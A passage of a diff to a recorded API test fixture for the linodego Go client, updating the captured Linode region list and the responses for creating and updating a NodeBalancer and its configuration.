1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228217}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,8 +313,8 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441128, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-86-39.ip.linodeusercontent.com", "ipv4": "172.232.86.39", "ipv6": "1234::5678", + body: '{"id": 694193, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-46-8.ip.linodeusercontent.com", "ipv4": "172.105.46.8", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: @@ -316,15 +329,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "332" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +354,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +375,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441128/configs + url: https://api.linode.com/v4beta/nodebalancers/694193/configs method: POST response: - body: '{"id": 670346, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134768, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441128, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694193, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:36 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +421,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,14 +442,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441128/configs/670346 + url: https://api.linode.com/v4beta/nodebalancers/694193/configs/1134768 method: PUT response: - body: '{"id": 670346, "port": 8080, "protocol": "tcp", "algorithm": "leastconn", + body: '{"id": 1134768, "port": 8080, "protocol": "tcp", "algorithm": "leastconn", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "v2", "cipher_suite": "recommended", "nodebalancer_id": - 441128, "ssl_commonname": "", "ssl_fingerprint": "", 